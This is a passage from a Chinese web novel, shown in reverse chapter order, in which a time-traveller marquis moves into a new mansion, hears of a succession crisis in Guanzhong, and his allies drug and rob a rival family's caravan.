听到这句话后,凌晨一屁股推开椅子站了起来,亲切的抓住贾建的手,满脸敬佩的说道: “大人!你派令郎参股这波操作,是我从业二十年来见过最伟大的操盘!不说了,都在酒里!!” 说罢,他双手捏着酒杯对着贾建恭行礼,仰起脖子一饮而尽!! 心事落地后,二人彻底放下对彼此的戒备和顾虑,喝的昏天暗地!最后他们甚至握着壶把手直接对着壶嘴吹,凌晨还给贾世伯表演了个“give me the power”,奈何技艺不精,强行装逼,喷的到处都是。惹的贾夫人和雪妍小姐惊诧万分,哭笑不得。 休息了小半天后,凌晨便带着刘廷让的护庄队精锐,还有贾骐统领的五千洛阳乡军,浩浩荡荡的向着潼关进发了! 铁蹄扬起尘土,箭羽被风吹乱,互相粘在一起。人马俱着薄甲,弓弦在背,长朔横尾。一眼望不到头的步卒整齐的排列着队伍,在夕阳下前行。 黄风拍打在旌旗之上,刀枪如林,大雁穿梭在云层之中,晚霞漫天。 一封书信急送至汴京,立在正堂屋檐下的文训撕开信封,仔细阅读完信件上的内容后,将双手背负在身后,抬起头望向天空,露出了淡淡的笑容。 三日后,郑王文训亲临汴京校场,擂鼓聚将,命世子文若为关西路都部署,镇西将军,率兵五万向着关陇进发。 此一行,定要助关中王韩登内扫叛逆、外御豺狼,誓死捍卫亲家的血脉和基业!保卫关中百姓的生命财产安全! 第95章 一纸书信 不知道发生了什么事,文训前脚将文若和韩意接走,后脚又派人把临颍三巨头还有崔赦都喊走了。 再后来,陈啸也回去了。 乔迁宴便就此结束,众友归家,只剩下吕齐一个人。 后院的青柠也送别了女友们,又叫吕齐回家去喊世容,提议一同去金水河上泛舟游湖,要单独与他们夫妻俩说说话。 凌晨也是这个意思。 贵族之间也是有圈子的,世容的家族在普通百姓眼里已经是一方巨擘了,但在一砖头扔下去能砸死好几个公侯大官的汴京,着实不够看,她也不想自讨没趣儿。 先前是她无知无畏,后来才知晓蝉鸣宴上认识的那几位,每一个人的背后,都是能单手拿捏整个吕家的存在。 但新府落成后的采买调办,她都出力不少。不跟她亲近亲近,青柠和凌晨都有些过意不去。 金水河就在府墙边上,没叫别人跟着,凌晨重温了一下当年去安庆府救周元昭时,无师自通的撑船技术,一叶乌蓬离岸而去,泛舟湖上。 “姐姐何必多此一举,小妹寒门微末,不能与那几位姐姐同坐,本是常情……” 世容有些不好意思的拨弄着手中的团扇,流苏从她的指尖滑落,柔顺飘逸。 青柠并肩与她坐在船尾,摇头说道:“我原本也是农家浣衣女,只不过相公在战场上拼命,才得来富贵。妹妹与她们待着不自在,我们就单独说说话,定然不能厚着她们薄了你。” “穷通前定,何用苦张罗……我们夫妻又何尝不是?身为旁支,本就该放下身段,为家族做下九流的商贾。是相公不甘平庸,数度犯险、刀口舔血才换来今日,每每想起……” 说着说着,世容便委屈的哽咽起来,低头拭泪。 小船不大,她的话自然也传到了凌晨和吕齐的耳中。吕齐坐在乌篷的另一边,叹了口气后,握着拳头说道: “自古嫡庶有别,我爹是庶出,从小大房的人就欺负我,不肯正眼视之,我也认命。可吕侑的女人也夫唱妇随的欺负容儿,拿她当丫鬟呼来喝去,我却不能容忍。” 凌晨将船篙放在甲板上,也在吕齐身边坐了下来,拍着他的肩膀对小舟另一边的世荣说道: “弟妹不必哀伤,往日种种,已经散如尘烟。如今平云执掌印刷坊,又主刊汴京时报,等到天下一统后,活字印刷之术公布于世,就是大房求着他回家祭祖了。” 世容擦去眼角的泪痕,吸着鼻子调整好心绪后,破涕为笑:“我也不求他扬名立万,只要我们夫妻能不受制于人,开开心心做自己喜欢做的事,就很好了。” 凌晨看着身边的吕齐,脑海里泛起了王臣鹤的背影。比起王臣鹤当年的迷茫和困惑,吕齐要面对的压力更大——本就难觅的功名和来自大房的关爱,超级加倍。 孤身一人前往邺城求见孙煦,为家族与虎谋皮;鸡城酒肆群敌环伺,舍生忘死拔刀一试;即使泼天的功劳被人顶替,也不见颓丧懈怠,仍旧来到汴京寻找契机。 邺城楼台,于角落艳羡别人意气风发;幽州庭院,坐窗前静观案上烛灯明灭;冀州道野,冷雨中冰针拍脸泥染足靴。 俱往矣! 活字现,时报出,夺回所有曾经失去的一切。 “弟妹往后见了她们,大可不必妄自菲薄。自从郑王那日召平云进府夜宿后,你已无需仰视吕家的任何人。” 世容听的面露疑惑,吕齐瞪大眼睛望向凌晨:“郑王跟哥哥允诺什么了?” “没有,不过我对我们正在做的事业很了解。” 凌晨左手搂着吕齐的肩膀,右手手心向上指着他,对坐在对面的青柠和世容一本正经的说道: “相信我,千百年后,人们或许会想不起今天的皇帝叫什么,但一定会记得他。” 青柠跟世容听的愣住了,齐齐将目光投向吕齐,说不出话来。 船行绿水间,芙蓉盛开在倒斗般的绿荷叶丛。远处画舫在湖上游曳,隐约可见舞女展袖,裙袂飘扬,丝竹声荡。 岸边树梢绿叶盛浓,几颗歪树石榴花开,春日孕育在巢中的幼鸟已经破壳长大,张着嘴巴叽叽喳喳等待老燕投喂,池亭水阁下,大鸭子领着一群小鸭子,在水面上留下道道波纹。 一团阴云以肉眼可见的速度汇聚,不一会就将原本晴朗的天空笼罩,骤雨急至,雨点噼里啪啦的打落下来。四人连忙钻进蓬里,青柠和世容抱在一起,互相挽着彼此的胳膊,指着船外大呼小叫。 新荷落雨,水珠在菏叶上跳溅如珠,船上的酒壶空了,凌晨就跟吕齐卷起袖子,举着酒觞伸出蓬外接雨水喝,还附庸风雅取了个“无根水”的名,吕齐掐了一朵满是水珠的荷花,清新的水汽混杂着草植的淡香,萦绕在船蓬中。 漂至河心汀洲时,一只白鹭抬起纤细的腿脚,长长的喙嘴表面也挂着雨水,羽毛湿漉漉的。在见到凌晨他们的小舟靠近后,猛的一甩头上水珠,张开翅膀冒着大雨飞向远方。 这雨来得急,去的也快,原本像是快要沸腾的水面渐渐息缓,已经能看到水下的鱼儿游荡。凌晨也顾不得衣服,整个人很不雅观的趴在湿漉漉的船板上,握着一节干竹想要把水里那只偶然发现的绿壳王八捞上来。 吕齐这个人妙就妙在,没有世家公子的儒雅和矜持,更像是魏晋风流的那种放浪形骸。 他叫凌晨不要拨水惊了水龟,去撑着篙把船微微靠近些,瞅准机会直接徒手入水,在一片水花中将那王八揪着后腿拽了上来。 这只双面龟还不服气,伸长脖子就要转头往后咬,吓得吕齐连忙松手将它扔在了船板上,凌晨眼疾手快,一脚踩住了它的龟背。 “哈哈哈哈!今晚有的食了~” “哈哈哈~” 青柠和世容望着两个衣湿发乱、跟小孩子一样胡闹的男人,互相对视一眼,皆是捂嘴偷笑。 几人一直玩到岸上炊烟升起,天还未暗、空中却挂上一轮明月后,这才兴尽晚归舟。 玩的时候只顾着爽了,离岸之后随它漂泊,看到新奇的地方是有趣的东西就划拉两下,漫无目的的东横西摆,可回去的时候就遭老罪了…… 凌晨和吕齐互相换着撑篙,两个人都撑的胳膊酸痛,最后实在不行了,青柠也挽起袖子接过竹篙,这才合力将小舟划回岸边。 解二早已在岸边等着了。 “侯爷,有你的信,关中来的。” 肱二头肌酸到抬不起来的凌晨只好使劲甩了甩双手,走在吕齐青柠他们身后,将信封拆了,掏出里面的信笺来。 看着看着,凌晨的脚步就停了下来。 经营关陇将近二十年,三秦大地的最高行政长官,十万关中军的军事统帅,关中王韩珏,逝世了。 比这则消息更令人震惊的是,冯翎留后韩临指责是世子韩登逼宫弑父,谋权篡位,在冯翎太守、蓝田侯韩珑的支持下,率五万大军进攻长安。 韩登立刻率众组织反击,本来以长安的城防,是完全不用担心的。但城内的裴家趁夜杀害北城守军,打开城门引韩临大军攻入了城内。 韩登被迫退出城,撤到华阴整顿人马,集结各地勤王之师,准备再战。 就在这个时候,更离谱的来了—— 韩珑不知道从哪查出了真相,原来韩珏是正常死亡的,韩临是为了关中王的宝座才权欲熏心、兄弟阋墙,是关中百姓的罪人。 所以他软禁了韩临,请韩登重新回到长安,主持大局。 关中百姓懵了,这是要闹哪样?你们在玩什么新奇的把戏? 韩登在信里告诉凌晨,他的好叔叔先是撺掇有继承资格的笨弟弟诬陷他,串通叛徒夺下长安。目的达成后,又翻脸不认人软禁了韩临。现在想把他也骗去长安,再将他们兄弟一网打尽。 这样一来,子承父业没有子,就只能兄终弟及了。 没错,韩珑是韩珏的亲弟弟,关中军一直以来的二号人物。 天家无情,韩珏戎马一生、虎步关右,怕是也想不到自己才刚去世,弟弟和儿子们就为了权力争的头破血流吧? 榜样的力量是无穷的,威望最高的韩珏已经去世了,实力仅次于他的韩临被人利用完后给软禁了,其他人也就有想法了。 关陇地区被韩家统治了这么多年,也该换个姓了。 韩登告诉凌晨,最近他手底下原本忠于父亲的将领们不是中毒暴毙就是突然消失,他已经感受到了浓浓的危机,怕是自己也快成别人的提线木偶了。所以趁着还有人身自由,派心腹给凌晨送出了这封信,向凌晨求救。 皱着眉将信看完后,凌晨朝着解二招了招手。 “通知刘廷让,集合全部护庄队。” 解二听后点了点头,转身就走了。 前面的三人见凌晨不走了,都停下脚步等他,待凌晨跟上来后,青柠好奇的问道:“是登兄弟的信吗?” “嗯……”凌晨脸色平静的说道: “他爹去世了,我得去趟关中。当初给咱爹归葬祭祖时,他亲自来拜谒过,现在轮到咱家还人情了。” 听到这个消息,青柠不禁皱起了眉梢,吕齐夫妇也露出了一脸肃容。 “那是该去一下。” 第94章 临颍侯府 经过几个月的修建,位于下马庄的侯府总算竣工了。 砖石台阶上立着四根刷漆大柱子,宽敞的大门两旁还有两个侧门,非常符合大户人家的气质。刚从大门进来是一院,背靠着围墙的是一排倒座房,门房、更房紧贴大门,用来住护院、仆人和管家。 马厩、车驾、刀枪棍棒也都存在这里。 穿过宽大的垂花门,面前豁然开朗,半个足球场大的二院里铺满了整齐的地砖,在这里纵马狂奔都不成问题。 二院也是核心区域,左右两侧各是东西厢房,房后是它们各自单独的院落,里面有厢耳房和三四间配房,还有单独的厨房。属于院子里的小世界,以后儿女长大了可以有自己的专属空间。 正屋台阶下左右各一口水缸,水面漂着浮萍、里面种着荷花,两边是贯通的耳房。正屋还是老设计,一间正堂迎客议事,左侧书房,右侧卧室,是凌晨最喜欢的设计。 正屋后面就是专供女眷居住的后院了,左右各有厢房,还有厨房、柴房、膳堂、工具房、库房和丫鬟居住的群房。最中间是一栋二层后罩楼,一层可以居住、待客,二层凭栏远眺,整个侯府和附近的建筑都能尽收眼底。 侯府东侧是一道青石板路,这条路白天游人如织,夜晚悄声静谧。一边是侯府的院墙,一边是河岸杨柳,金水河波光粼粼,缓缓流淌而过。 凌晨拉着青柠在新家里转悠,新家太大了!光是二院两人就要走上好久才能穿过,仅一个东厢院,就比他们在望云镇的老宅还大! 后院到处都是桃、梨、杏、苹果树,还开辟了花园和菜园,这是青柠的习惯和喜好,凌晨也觉得很有必要。闲时吃点新鲜水果蔬菜,自家种的放心。万一遇到围城或者什么紧急情况,也不至于立刻就捉襟见肘。 毕竟在那三年里,最初紧张的时候,他就是靠自己种在阳台泡沫箱子里的小番茄和生菜度日的,就这火腿肠用馒头一夹,也算汉化版汉堡包了。 无论飞得多高,都要时刻准备好落地的缓冲。 哪怕自己耳朵一动,全京城的物资任我所用,那也要做好准备, 万一哪天动耳神功不灵了呢? 窝有了,但还缺下人和婢女。这么大的院子只住他们两个怪渗人的,而且不能谁来都由青柠亲自下厨或者伺候,也该让她学着怎么当大户人家的奶奶了。 购买跟聘用下人的牙行是吕齐介绍的,他专门请了一天假,和何世荣一起亲自陪着凌晨青柠挑选下人和丫鬟, 嘴歪眼斜的不要,爱东张西望的不要,太过木讷老实的也不要;厨艺不好的不要,笨手笨脚的不要,太漂亮的也不要。一天挑选下来,凌晨差点没被累死。 最终,经过凌晨和青柠的亲自挑选,三十多个底子干净的农家子和二十多个签订了死契的年轻女孩被录取了。 那三十几个小厮是外城和附近村庄的人,分作两班,各自在单双日进府做事,互相交接班。 女孩们全部都是被家里放在牙行出卖的,要么就是家里养不起了,要么就是和以前的青柠一样,家中再无亲眷,自己给自己谋个生路。 班子凑齐后,还缺两个管家。 外管家已经被解二内定了,从当初的不打不相识,再到后来的一路追随。解二爷除了长的磕碜之外,哪哪都让凌晨满意,就他了。 现在的问题是,府里还缺个女管家,管理这些丫鬟。 一连看了好几个婆子,直到牙行都点夜灯了,都没有挑出合适的来。最终凌晨和青柠一起决定先不找了,让青柠亲自去带着试试看。 别看吕齐和何世荣在吕家属于旁支,即便如此,他们管理家宅的技巧和经验也远在凌晨青柠之上。如果没有他们夫妻俩帮忙安排和处理,青柠和凌晨还真有点无从下手,好多事都想不到和弄不好。 六月廿五,临颍侯府正式乔迁入住。 这次的乔迁宴,就远不如上一次老宅翻修后热闹了。凌晨只邀请了一些相熟的好友和旧日同僚,文若、冯延、张承、侯明、吕齐、崔赦、陈啸,除此之外,再没喊旁人。 后宅的青柠,也只邀请了韩意、钟莺、文家姐妹、魏娴、祁阳郡主、新城郡主,还有周行舟的幼女。 原本她还打算叫上望云镇的村中姐妹,但她们都是只送了礼物,人没有来,也许是觉得身份有了差距吧。 大舅哥和婉云嫂子自不必说。 小小的乔迁宴,也藏着很大的门道。原来的临颍三巨头都在这里,也就意味着曾经的颍川士族、如今的开封京爷们都愿意和文若玩。吕齐、崔赦又是河北世家子弟,把鸡蛋不能放在一个篮子里诠释的淋漓尽致。 就连身份最低的陈啸,也是影响很大的人物,江湖上谁没听过召陵镖头的名声?都快赶上那位“锏打三州六府,马踏黄河两岸”的门神了。 直到守在侯府门外窥探的下人将这些名字传递给文初后,他才后知后觉的明白了凌晨的含金量。 这个有些浪荡不羁的同龄人,居然和这么多政治势力有着千丝万缕的联系。开封府、禁军、关东两府、礼部尚书…… 尽管文初已经发现了许多端倪,但他了解的还不是不够全面。 韩登和何关人没到,只送来了礼物。抛开韩登不谈,何关是御林军统领。要知道,由于身份的特殊性,何关是不跟任何朝臣有私下往来的,哪怕是文若都不行。 只有凌晨这一个例外。 能被邀请去凌府赴宴的,都是第一梯队的人物,而且有好几个还是开服玩家。 正堂门户大开,院子里的明媚阳光尽收眼底,清风徐来,使人心旷神怡。 屋子四角的铜盆里放着成堆的冰块,肉眼可见的飘着白气,凉爽异常。两个丫鬟立在冰块旁边,各自用双手举着一柄大芭蕉扇,轻轻扇动。 “可惜臣鹤兄不在此处,问阶也归家了,否则他们看到兄弟这化水为冰的奇技,定然和我们一样目瞪口呆!” 圆桌上众人围坐,喝酒吃菜,简单随意。 听到文若这么说,凌晨嚼着酱牛肉摆手谦虚起来:“我是闲得没事瞎捣鼓,不足为奇,大哥言重了。区区冰块,明日我就将秘方分与诸位,你们可以找人,也可以自己亲自操持,整出来拿去市面上卖,也是一笔小进项。” 在场之人都面露惊讶之色,虽然大家基本都不缺窖冰,但这东西还是比较稀有的,凌晨就这水灵灵的把方子甩给大家,多少有点豪横。 这玩意他完全可以垄断,暴利啊! “这可不行,如果就这么散给大伙,在座诸位又都有沾亲带故的人,不出几天就广为人知了。依我之见,大家都掏出钱来,交给一人打理,负责制冰兜售,赚到的银两大家按利分成,你们以为如何?” 崔赦率先说出众人的心声,其他人皆是附和点头,凌晨哈哈笑着说道:“你们呐!不是功勋权贵就是朝廷命官,还在乎这点蝇头小利?罢了罢了,既然大家都这么想,那就这么办。” 说罢,他伸手指向吕齐:“平云精通陶朱之术,交由他办最妥贴,你们回去就把银子送到他家,剩下的我与他说,诸位等着数钱就行了。” “好~” “嗯嗯。” 凌晨笑着摇了摇头,这帮家伙,一个冰块就视若珍宝抢着护食,真没见识。要是我拿出烟草,你们又该如何应对?难不成还要联合成立烟草局不成? 老文估计都会忍不住吧~ 不过崔赦的话倒也给他提了个醒,要不就弄个专门的商号,把朋友们的利益都捆绑在一起。借助他们广泛的影响力和雄厚的背景,将一些商品推广到全国各地,造福百姓。 闲聊了一会,冯延向文若问起了正事:“蝉鸣宴后,世子可曾向郑王传达过群臣之意?” 文若放下酒杯,收起笑容答道:“群臣之意,父亲自然是明白的,可总觉有负高宗信任,没能辅佐好少帝……” 崔赦摇头道:“天下崩乱,朝堂之上尽是魑魅,乡野之中多有虎狼。郑王荡平天下,功盖千秋。不趁此时登基为帝,迁延日久,恐人心不安,又有祸起。” 冯延接过话茬:“天下应为救万民者而居之,郑王确实不宜再谦让了。李唐、孟蜀猖獗为乱,夏国草原时存异心,皆有窃取中原之志,若不正位,百姓又将陷于战火。” 众人听罢齐齐点头。 文训称帝,已经不是他个人的私事了,追随他的文臣武将们想要更进一步,也不是主要原因。 中原正统的地位确立不下来,在和其他割据势力的沟通交流中,会处于下风。有时候,虚名也是非常重要的一环,这直接关系到底层民众和士兵的看法。 不能再按照以往的流程半年一劝,是时候加快进程了,三辞三受,然后居之。再以天子之名,兴兵讨群雄,平定天下,开创出一个全新的大一统时代。 就在众人觥筹交错、谈天说地之际,院外突然跑进来一个王府长随,跪在正堂外神色有些焦急的说道: “郑王急令:世子、世子妃火速归家!” 第93章 黄连 就在胡管事跟士兵哀求、好言相商之际,一直在城门楼子上睡午觉的侯明被手下喊醒了,打着哈欠走了下来。 “吵吵什么呢?” 看到身着官服,小腹微挺的侯明,胡管事眼前一亮。这位一看就是当官的,或许会通融也说不定,保不齐还能认识主家呢~ 那士兵见侯明来了,立刻走上前去,附在他耳边悄声说了几句,侯明歪着头听完后,上下打量了一眼胡管事,开口问道:“车货在哪?” 胡管事连忙上前,指着护城河对岸说道:“就在那边,大人。” 侯明将双手大拇指插在腰带里,身后跟着六个官差,在胡管事的引领下走过吊桥,来到了哀声一片的车驾前。 从一旁顺手揪过一根树枝,侯明慢条斯理的来到车旁,随意的挑拨着覆盖在货物上的油布,又看了一眼车上插的“吕”字旗帜,撇着嘴一言不发。 胡管事连忙凑近躬着身诉苦道:“大人,您是不知道啊!小人们本来是骑着马、赶着牛的,从幽州一路走来,路上都没有出过差错。可是今天正午时分,却在城北张店村的地界遭到强人暗算,将我们的牛马尽数牵走,唉!” 侯明停下手中的动作,扭头问道:“嘶……你的意思是,这一路上的州府都路不拾遗,唯有京城附近盗匪横行?” 胡管事闻言脸色大变,连忙摆手说道:“不不不!小人绝无此意,小人有几颗脑袋敢诽谤官府?只是……只是……” “你说自己被强人暗算,货物却未曾缺失,真是奇哉怪也~这里又没有草原蛮夷,怎么会只盯着你的牲畜,不要这成箱成袋的货物?不能拿去换钱吗?” 听着侯明的询问,胡管事百口莫辩,他也算行遍四方,有些见识。但眼下这种情况,真是……有种说不出的无力感。 侯明没有理会他,拍着车轮子说道:“你的车辕太长了,不符合入城规定的尺寸。还有,这车轮怎么还钉着铆钉?一路上得压坏多少官道?这拉的是什么?” 也不等胡管事解释,侯明就给手下使了个眼色。身后两个官差立刻上前,将油布揭去,露出笼子里面的几只獐子,看起来都有些无精打采。 侯明脸色顿时沉了下来,不满的看向胡管事:“你们竟然还拉着活物,朝廷规定押送活物不可使其肆意溺污。你看看你这车尾,臭气熏天,这一路上怕是也没有去铲干净吧? 你知不知道,官道就是压有熟土才不长草的,活物粪便随意撒上去,不出半年官道上尽是草木,中凸塌陷积水,雨天排不到两边,就都毁了!” “这……这……” 胡管事被问的手足无措,想不通今天这是咋了。 朝廷确实有这样的官道养护告示,但大周又没有监控,谁能知道是哪头牲畜拉的?更何况谁家牛马在官道上不撒尿拉屎?逼急了人都拉呢! 这种告示虽然是官府所发,但在实际执行中也就起到倡导教育的作用,压根没人会真的去监管路上的牲口有没有拉屎,就算是吃拿卡要,都没人会用这个理由。 侯明握着树枝,绕着车驾一圈后,叹着气问道:“听说你连路引都没有??” “路引原本有的,真是被强人夺走了,小人绝不敢欺瞒大人!” 胡管事快哭了,日渐偏斜,眼看着就要黄昏,再这么耗下去,今晚非得在野外露宿不可。 “算了,看你一把年纪还这么风尘仆仆,也是个下苦力的,本官为难你也不叫个事。但本官身系京城治安,公事上绝不能疏忽,更不能徇私! 这样吧,其他人暂留在这里,准你一人入城去寻主家,找府衙补全路引,再叫他们拿上罚款来城门交割。” 胡管事连忙抱拳答谢,还偷偷往侯明袖子里塞了几锭银子。侯明抖了抖袖子,粗略感受了一下重量后,颇为满意的点了点头。 胡管事火急火燎的进城去了,过了大概半个时辰,又火急火燎的回来了,这次还带着一个胖员外。 “草民拜见大人~” 来人是吕家大房的管家,在路上听完胡管事的描述后,他也有些摸不着头脑。 自从上次汴京内乱后,开封府已经很久没有听说过有匪贼劫道的事了。更何况歹徒还只劫牛马,不动货物,这明显不合常理。 不是为财,那就是有仇了。 可你要说有仇吧,庄客家丁没有一个受伤的,真是活见鬼了! 总不能是闲得无聊,费了这么大的劲,就只是为了消遣吧? 再说了,什么人敢消遣吕家! 侯明眼神不善的看了一眼这管家后,从他手中接过补好的路引,点着头说道:“嗯,可以了,你们进去吧。” 吕府管家和胡管事闻言面露喜色,尤其是胡管事,心里的一块大石头可算是落地了。 “都起来,再加把劲将货推进城,送到府里后……” “慢着~” 胡管事正喊的起劲呢,突然被侯明给打断了: “本官是说,你们人可以进去了,但车驾还不行。你们的货物跟车不合规矩暂且不论,若真如你所说,经了强人的手,自然要仔细检查。否则,万一有什么东西跟着混进城去,出了事谁担待得起?” 吕府管家和胡管事面面相觑,这位大人说的好像有点道理,但又总感觉哪里不对劲。 “那就辛苦大人开箱查验~” “不急。” 侯明抬头看着已经偏斜的太阳说道:“本官和将士们还要顾着城门,只能等下一班来交接后再下值查验。这样吧,你们先回去,这些货物本官会叫府衙的差役拉到瓮城。明日一早,你等来休息好了过来取走便是。” 吕府的管家思索了一下,发现好像只能这样。 总不能跟城门守军正面起冲突吧?那跟造反没区别,是可以不问缘由就地格杀的!更何况今天这事是人家职分所系,实在没有理由不让人家检查。 于是,他们只好向侯明行礼作别,领着那群累到半死的庄客们进城先歇息去了。 目送着他们离开后,侯明脑袋向后一歪,身边一个心腹官差立刻走上前来。 “叫弟兄们把车都拉进去,夜里翻找一遍,值钱的都拿去分了,别忘了上夜值的弟兄。还有,跟他们强调一遍,把嘴给我缝严实了!但凡走漏一点消息,从你开始,就都去外地讨生活吧~” 官差点头道:“大人放心,属下知道怎么做。” “嗯~” 第二天,吕府的人来取货物时,看到完整无缺、被绑的整整齐齐的车架,十分满意。他们千恩万谢的向守军们塞了些茶水钱,欢欢喜喜的将东西拉回了府里。 可是当他们拿出先前寄来的家书一对账,人傻了。 从家乡送来的檀香珠粉、老爷给夫人、小姐挑选的名贵首饰,还有给少爷送来运作的银两,全都不见了! 究竟是盗贼拿走的,还是守军拿走的,已经无从查起。而且当务之急不是去查找丢失的钱财去向,是告诉文初有人在针对幽州吕家。 敢在开封府动手抢劫的,只能是本地人,必须跟文初商议对策。吕大公子能在京城做家族代表,起码不傻。 但当他找到文初后,文初也是一脸懵。 侯明没有这个胆子,也没有证据能证明是他拿的。冯延不会干这种有损脸面的事,其他开封府的官员士绅……也没哪里得罪到他们吧? 文初让吕大公子好好想想最近得罪过谁,结果他把脑袋想破了也没想出个所以然来。 最后没办法,文初让他先不要报官追查,等到下一次运送时,他要亲自派人去跟着,看看究竟是谁在暗中跟吕家作对! 开封府,纪县,牛家集。 “牛大爷,扶贫猪怎么又死了呀!你这个月都饿死三头了,而且连个骨头渣子都没剩下吗?” 凌晨一脸无奈的看着睡在土炕上须发潦乱、生死看淡的牛大爷,人麻了! 他一直觉得自己是滚刀肉,没想到在遇到牛大爷后,嫩的像个新兵蛋子! “这不怪我老头子呀!它自己不吃草,我一把年纪,又不能掰开猪嘴往里塞,只能眼睁睁的看着它饿死。那它不吃,我总要吃的吧?” “你……” 凌晨被气的紧握双拳,又深感无力,总不能把一个五十岁的孤寡老头子吊起来抽吧? 一旁的纪县县丞拉着凌晨的胳膊,无奈的摇头说道:“蒜鸟蒜鸟……不就是府衙考核,下官再想想别的办法吧……实在不行就不升了,唉!” 二人在随从的陪同下,垂头丧气的从破茅草屋里走了出来,结果又迎头碰上赶来凑热闹的村南牛张氏。 “侯爷,我前些日子在街上看到一个小丫头,坐在轿子里,还有丫鬟跟着呢~那脸蛋水灵灵的!您面子大,能不能帮忙给我儿说合说合?” 凌晨两只耳朵都快要喷蒸汽了:“四婶,你家三斤不是有香春姐么?你孙子都快到启蒙的年纪了,还找的哪门子媳妇?而且不是我说你,咱啥家庭?坐轿子的能看上咱?” 牛张氏甩着手说道:“哎呦!那不是只有一个吗?这两年跟着你养牛,家里好些了,我就想着给他纳个妾什么的~” 凌晨瞬间感觉眼前一黑,有些站立不稳:“四……四婶,你……我都没敢想着纳妾啊!” 纪县县丞瞪了牛张氏一眼,把她吓退后,连忙扶住摇摇欲坠的凌晨,推开柴扉逃出了牛大爷的破旧篱笆院。 基层工作真的太不容易了! 第92章 曲折 京城郊外,烈日炎炎。 平整的官道上,行人走在两旁。人们背着包袱、推着独轮车,携妻抱子、有说有笑的与同行之人交谈着庄稼地里的干旱。村民们偶尔抬起头,看向湛蓝无云的天空,忍不住愁上眉头。 这要什么时候才能下上一场好雨啊! 官道两旁的树木繁茂,枝叶葱葱。树叶和杂草被炙热的阳光烤的起皱,偶尔能见到一两处茶棚。路过的行人客商赶的累了,满头大汗的钻进阴凉里,掏出几个铜钱丢给店家,灌上一口凉茶,擦去布满额头和脖子里的汗水,通体舒畅。 剃了桃形头发的稚童在母亲的怀中捧着西瓜,染红了嘴角和胸前衣服。农妇温柔的替他擦去下巴上的西瓜籽,笑着朝店家摆手,表示自己胃寒,吃不了这个。 一队人马出现在官道尽头,缓缓朝着这边走来。 领头的是位年长的管事,腰间配着刀、挂着水葫芦骑在马上。其余人都坐在牛车上,三五个人一辆车,车夫伸出胳膊擦着鬓边,无力的挥舞一下鞭子,催促着鼻子上全是汗珠老牛继续前进。 行至茶棚前,七八车人都停了下来,从后头赶过来一个光着膀子的壮汉,走到马匹旁边恭敬的朝着管事抱拳说道: “胡大爷,歇歇脚吧,这眼看着就要到京城了,弟兄们实在热的受不了了。” 胡管事也觉得口干舌燥,一边查看着四周,一边伸手摸向腰间的葫芦,拿起来后拔出塞子,举起来往嘴里一灌,什么也没倒出来。 那壮汉很有眼色的一把拿了过去,也不让胡管事说话,就径直跑进了茶棚里。 胡管事看着他的背影叹了口气,又扭头望向身后人困马乏的家丁庄客们,干咽了一通口水后,有气无力的说道:“大家都歇歇吧,喝口水再继续前进。” 听到领队这么说,队伍里的其他人皆是面露喜色,精神振奋。纷纷跳下牛车,每辆车只留一人看守,其他人全都涌进茶棚里。 “店家,打两角酒!” “取碗来,快快上茶,渴死我了!” “你这寒瓜怎么卖的?” 胡管事从马上翻了下来,拽着缰绳拉到茶棚边的树干上拴住后,警惕的望了望周围,这才走到棚子遮住的阴凉下。 先前去为他打酒的汉子已经回来了,很有眼色的提来一个木凳子放在地上,等胡管事坐下后,恭恭敬敬的将酒葫芦递给他,还顺手端过来一碗凉茶。 胡管事接过去后,对他和蔼的说道:“辛苦了,你也去喝点水吧~” “哎~好。” 看着汉子钻进拥挤的人堆里后,胡管事笑着摇了摇头,抿了一口碗中的凉茶,苦中带甜,还有回甘。 紧接着他便“咕嘟咕嘟”的大口喝下,直到碗底仅剩几片茶叶后,这才抹了一把嘴上的胡子,长长的出了一口气。 这一口茶下去,浑身清爽,将炎热的暑气散去不少,后背甚至升起了一股凉意,舒服至极。 砸吧砸吧嘴后,胡管事品味着充斥在口腔中的甘甜,抬起头望向远处隐隐可见的城墙,一路的担心和烦闷都化为了轻松。 其他庄客家丁,先是牛饮两大碗凉茶,紧接着纷纷捧起西瓜蹲在路边大口吃了起来,惹的看车留守的同伴破口大骂—— “直娘贼!给我们也弄几碗过来啊!” “娘的!黄二松,这次本该是你守车,亏老子还好心替你,你个没良心的贼!怎么不呛死你?!” 已经在茶棚里的庄客们这才想起外面道路上的同伴还在烤太阳,暗叫不好,连忙又端了几碗凉茶和半颗西瓜跑去赔罪。 胡管事歇息了一会后,又拧开酒葫芦,将鼻子凑到葫芦口,来了一波史诗级过肺。他肩负着一整个车队的人货安全,不能大意。纵使嘴馋的不行,也只敢略微抿一点点润润唇。 咦……这酒好淳啊! 惊叹过后,胡管事将塞子又塞回葫芦嘴里,感觉歇息的差不多了,便起身准备催促小子们继续赶路。早早的将货物押送进府,交了差事,自己也好去柳南坊找丈夫好赌的聂娘谈谈心。 刚从座位上起来,胡管事突然感到有些晕眩,他眨了眨眼睛,定睛向地面看去,发现地上的石子和小草在旋转…… 这酒……劲这么大的吗?只是抿上一口,就这么…… 不对! 糟了!! “噗通!” 胡管事天旋地转的两眼一黑,直接摔倒在地上,与他同来的那些庄客们也都个个软倒在茶棚里。 站在车边的那些状况好些,药劲还没上来,见到情况不对后,他们立刻摔了茶碗,伸手就要去抽刀!却被一群突然从路边草丛和树上窜出来、跳下来的汉子们踢倒在地,没一会也都瘫软的睡下了。 这些半路杀出的汉子们把他们全都拖进两旁的草丛里,茶棚里的店家拿着汗巾,一边擦手一边走出来看了两眼,又钻进茶棚里,从后面钻出去,来到了道边草木后的一棵大树下。 “哥哥,都麻翻了。” 躺在藤椅上的陈啸将盖在脸上的蒲扇拿了下来,眼神不屑的瞥了一眼茶棚后,慵懒的说道:“不要伤人性命,记得把路引拿走。” 店家点了点头,正欲转身,却被陈啸喊住:“回来~” 店家连忙又俯下身子,小心的听候着。 “叫他们别太过,给城里的兄弟留点。” “晓得。” —— 感受到脸上有什么东西,胡管事伸出手挠了挠,迷迷糊糊的睁开了眼睛。 映入眼帘的是粗壮的树干和几只林鸟,它们的屁股正对着自己。 他摸着额头,昏昏沉沉的翻了一下,才发现自己睡在草堆里,身边躺着、趴着一堆庄客。 下一刻,胡管事双眼瞪大,瞬间清醒过来,迅速翻起身用脚踹向身边还在昏睡的汉子们—— “起来!都给我起来!” 茶棚、寒瓜、酒缸、红封坛子、桌椅板凳和自己的坐骑早已不翼而飞,拉车的牛也全都被人解下来牵走了,唯一没让他彻底绝望的是车还在,上面的货物也原封未动。 什么鬼?? 